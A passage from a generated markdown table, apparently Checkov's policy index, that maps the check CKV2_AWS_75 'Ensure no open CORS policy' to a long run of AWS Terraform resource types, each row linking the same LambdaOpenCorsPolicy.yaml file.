[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3135 | CKV2_AWS_75     | resource | aws_organizations_policy                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3136 | CKV2_AWS_75     | resource | aws_organizations_policy_attachment                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3137 | CKV2_AWS_75     | resource | aws_organizations_resource_policy                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3138 | CKV2_AWS_75     | resource | aws_osis_pipeline                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3139 | CKV2_AWS_75     | resource | aws_paymentcryptography_key                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3140 | CKV2_AWS_75     | resource | aws_paymentcryptography_key_alias                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3141 | CKV2_AWS_75     | resource | aws_pinpoint_adm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3142 | CKV2_AWS_75     | resource | aws_pinpoint_apns_channel                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3143 | CKV2_AWS_75     | resource | aws_pinpoint_apns_sandbox_channel                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3144 | CKV2_AWS_75     | resource | aws_pinpoint_apns_voip_channel                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3145 | CKV2_AWS_75     | resource | aws_pinpoint_apns_voip_sandbox_channel                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3146 | CKV2_AWS_75     | resource | aws_pinpoint_app                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3147 | CKV2_AWS_75     | resource | aws_pinpoint_baidu_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3148 | CKV2_AWS_75     | resource | aws_pinpoint_email_channel                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3149 | CKV2_AWS_75     | resource | aws_pinpoint_email_template                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3150 | CKV2_AWS_75     | resource | aws_pinpoint_event_stream                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3151 | CKV2_AWS_75     | resource | aws_pinpoint_gcm_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3152 | CKV2_AWS_75     | resource | aws_pinpoint_sms_channel                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3153 | CKV2_AWS_75     | resource | aws_pinpointsmsvoicev2_configuration_set                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3154 | CKV2_AWS_75     | resource | aws_pinpointsmsvoicev2_opt_out_list                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3155 | CKV2_AWS_75     | resource | aws_pinpointsmsvoicev2_phone_number                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3156 | CKV2_AWS_75     | resource | aws_pipes_pipe                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3157 | CKV2_AWS_75     | resource | aws_placement_group                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3158 | CKV2_AWS_75     | resource | aws_prometheus_alert_manager_definition                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3159 | CKV2_AWS_75     | resource | aws_prometheus_rule_group_namespace                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3160 | CKV2_AWS_75     | resource | aws_prometheus_scraper                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3161 | CKV2_AWS_75     | resource | aws_prometheus_workspace                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3162 | CKV2_AWS_75     | resource | aws_proxy_protocol_policy                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3163 | CKV2_AWS_75     | resource | aws_qldb_ledger                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3164 | CKV2_AWS_75     | resource | aws_qldb_stream                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3165 | CKV2_AWS_75     | resource | aws_quicksight_account_subscription                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3166 | CKV2_AWS_75     | resource | aws_quicksight_analysis                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3167 | CKV2_AWS_75     | resource | aws_quicksight_dashboard                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3168 | CKV2_AWS_75     | resource | aws_quicksight_data_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3169 | CKV2_AWS_75     | resource | aws_quicksight_data_source                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3170 | CKV2_AWS_75     | resource | aws_quicksight_folder                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3171 | CKV2_AWS_75     | resource | aws_quicksight_folder_membership                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3172 | CKV2_AWS_75     | resource | aws_quicksight_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3173 | CKV2_AWS_75     | resource | aws_quicksight_group_membership                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3174 | CKV2_AWS_75     | resource | aws_quicksight_iam_policy_assignment                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3175 | CKV2_AWS_75     | resource | aws_quicksight_ingestion                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3176 | CKV2_AWS_75     | resource | aws_quicksight_namespace                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3177 | CKV2_AWS_75     | resource | aws_quicksight_refresh_schedule                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3178 | CKV2_AWS_75     | resource | aws_quicksight_template                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3179 | CKV2_AWS_75     | resource | aws_quicksight_template_alias                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3180 | CKV2_AWS_75     | resource | aws_quicksight_theme                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3181 | CKV2_AWS_75     | resource | aws_quicksight_user                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3182 | CKV2_AWS_75     | resource | aws_quicksight_vpc_connection                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3183 | CKV2_AWS_75     | resource | aws_ram_principal_association                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3184 | CKV2_AWS_75     | resource | aws_ram_resource_association                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3185 | CKV2_AWS_75     | resource | aws_ram_resource_share                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3186 | CKV2_AWS_75     | resource | aws_ram_resource_share_accepter                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3187 | CKV2_AWS_75     | resource | aws_ram_sharing_with_organization                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3188 | CKV2_AWS_75     | resource | aws_rbin_rule                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3189 | CKV2_AWS_75     | resource | aws_rds_certificate                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3190 | CKV2_AWS_75     | resource | aws_rds_cluster                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3191 | CKV2_AWS_75     | resource | aws_rds_cluster_activity_stream                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3192 | CKV2_AWS_75     | resource | aws_rds_cluster_endpoint                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3193 | CKV2_AWS_75     | resource | aws_rds_cluster_instance                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3194 | CKV2_AWS_75     | resource | aws_rds_cluster_parameter_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3195 | CKV2_AWS_75     | resource | aws_rds_cluster_role_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3196 | CKV2_AWS_75     | resource | aws_rds_cluster_snapshot_copy                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3197 | CKV2_AWS_75     | resource | aws_rds_custom_db_engine_version                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3198 | CKV2_AWS_75     | resource | aws_rds_export_task                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3199 | CKV2_AWS_75     | resource | aws_rds_global_cluster                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3200 | CKV2_AWS_75     | resource | aws_rds_instance_state                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3201 | CKV2_AWS_75     | resource | aws_rds_integration                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3202 | CKV2_AWS_75     | resource | aws_rds_reserved_instance                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3203 | CKV2_AWS_75     | resource | aws_redshift_authentication_profile                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3204 | CKV2_AWS_75     | resource | aws_redshift_cluster                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3205 | CKV2_AWS_75     | resource | aws_redshift_cluster_iam_roles                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3206 | CKV2_AWS_75     | resource | aws_redshift_cluster_snapshot                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3207 | CKV2_AWS_75     | resource | aws_redshift_data_share_authorization                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3208 | CKV2_AWS_75     | resource | aws_redshift_data_share_consumer_association                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3209 | CKV2_AWS_75     | resource | aws_redshift_endpoint_access                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3210 | CKV2_AWS_75     | resource | aws_redshift_endpoint_authorization                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3211 | CKV2_AWS_75     | resource | aws_redshift_event_subscription                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3212 | CKV2_AWS_75     | resource | aws_redshift_hsm_client_certificate                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3213 | CKV2_AWS_75     | resource | aws_redshift_hsm_configuration                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3214 | CKV2_AWS_75     | resource | aws_redshift_logging                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3215 | CKV2_AWS_75     | resource | aws_redshift_parameter_group                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3216 | CKV2_AWS_75     | resource | aws_redshift_partner                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3217 | CKV2_AWS_75     | resource | aws_redshift_resource_policy                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3218 | CKV2_AWS_75     | resource | aws_redshift_scheduled_action                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3219 | CKV2_AWS_75     | resource | aws_redshift_security_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3220 | CKV2_AWS_75     | resource | aws_redshift_snapshot_copy                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3221 | CKV2_AWS_75     | resource | aws_redshift_snapshot_copy_grant                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3222 | CKV2_AWS_75     | resource | aws_redshift_snapshot_schedule                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3223 | CKV2_AWS_75     | resource | aws_redshift_snapshot_schedule_association                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3224 | CKV2_AWS_75     | resource | aws_redshift_subnet_group                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3225 | CKV2_AWS_75     | resource | aws_redshift_usage_limit                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3226 | CKV2_AWS_75     | resource | aws_redshiftdata_statement                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3227 | CKV2_AWS_75     | resource | aws_redshiftserverless_custom_domain_association                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3228 | CKV2_AWS_75     | resource | aws_redshiftserverless_endpoint_access                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3229 | CKV2_AWS_75     | resource | aws_redshiftserverless_namespace                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3230 | CKV2_AWS_75     | resource | aws_redshiftserverless_resource_policy                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | 